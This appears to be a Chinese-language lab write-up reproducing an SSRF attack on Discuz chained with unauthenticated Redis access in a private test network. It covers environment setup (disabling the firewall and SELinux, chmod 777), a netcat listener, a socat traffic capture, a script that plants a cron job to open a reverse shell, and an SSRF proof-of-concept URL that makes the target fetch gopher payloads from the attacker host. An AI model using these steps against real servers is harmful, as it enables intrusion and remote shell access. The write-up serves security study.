前言

未授权访问漏洞简写是SSRF(Server-Side Request Forgery:服务器端请求伪造),是一种服务器端提供了可以从其他服务器获取资源和数据的功能，但没有对目标地址进行过滤和限制，导致可以任意访问服务器端获取数据资源的漏洞，我们本次复现用到的是discuz+redis的环境

Redis漏洞原理

Redis默认的绑定端口是0.0.0.0:6379，如果没有在设置密码或者密码为弱密码的情况下且没有使用有效的保护措施，如此一来，在公网的Redis服务器就会被任意的用户进行未授权访问，读取数据，获取资源，写入恶意文件等。

靶场环境

攻击机: kali: 192.168.31.153

测试机: centos7-1: 192.168.31.207

靶机: centos7-2: 192.168.31.230

所需要的环境和脚本链接：https://pan.baidu.com/s/1YE749PP1RcNGJYrpxMvE_A?pwd=xihw

安装discuz+Redis环境

discuz搭建

centos7-2下载安装discuz，首先搭建apache服务器 yum install -y httpd httpd-devel

service httpd.service start //开启apache服务

service httpd.service status //查看apache状态

安装mysql，在centos中的mysql是mariadb，而不是mysql

yum -y install mariadb mariadb-server mariadb-libs mariadb-devel //安装

service mariadb.service start //启动mariadb服务
service mariadb.service status //查看状态
netstat -an //查看端口

安装php，将php和mysql关联起来

yum install -y php
yum -y install php-mysql

将下载的discuz放到/var/www/html下，并赋予可读可写权限

chown apache:apache -R upload/   //赋予所属组
chmod -R 777 upload/  //赋予可读可写可执行权限
service httpd.service restart //这里如果已经安装了httpd就重启一下服务就好
service mariadb.service restart //同上

service firewalld stop //关闭防火墙

在物理机访问

这里都是不可写，需要修改/etc/selinux/config，修改完重启虚拟机 reboot

重启完成后开启apache服务和mariadb服务，再次访问就是可写

redis搭建

1.下载redis包 解压进入redis目录 2.make编译3.然后编译完成进入/src目录 4.将redis-cli redis-server复制到/usr/local/bin目录下，如此可以在任意目录下运行redis服务

执行redis-server，出现以下界面说明搭建成功一半，另一半自己重新开一个终端，执行redis-cli ，出现第二张图示例说明搭建成功

漏洞复现

首先在centos7-1下载安装redis环境，然后用于测试脚本，这是我事先准备好的脚本

给kali监听6666端口 nc -lvnp 6666

centos7-1 执行 bash aa.sh 127.0.0.1 6379 ，大概等一分钟，查看kali1是否反弹权限

测试成功，接下来查看并删除centos7-1计划任务，使用socat端口转发工具(如果没有就使用yum install socat下载)，用来抓取redis攻击的数据包，再使用万金油gopher协议构造poc

将2222端口数据转发给6379

socat -v tcp-listen:2222,fork tcp-connect:localhost:6379

bash aa.sh 127.0.0.1 2222

将数据包编写到一个mm.log中，复制完，保存前先要查看一下文件是不是fileformat=unix

按esc键 然后 :set ff 查看 显示fileformat=unix

然后就是要用到一个python脚本，可以将保存下来的东西保存为RESP格式，而gopher万金油协议就刚好支持这个格式

将代码复制到kali，新建一个go.php，然后保存退出，开始攻击

kali:
nc -lnvp 6666
poc:
http://192.168.31.230/discuz/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.31.153/go.php?data=he2lo.jpg[/img]

执行之前，记得开启centos7-2的redis-server

能看到centos7-2有计划任务，kali有反弹，复现成功，ip是centos7-2的ip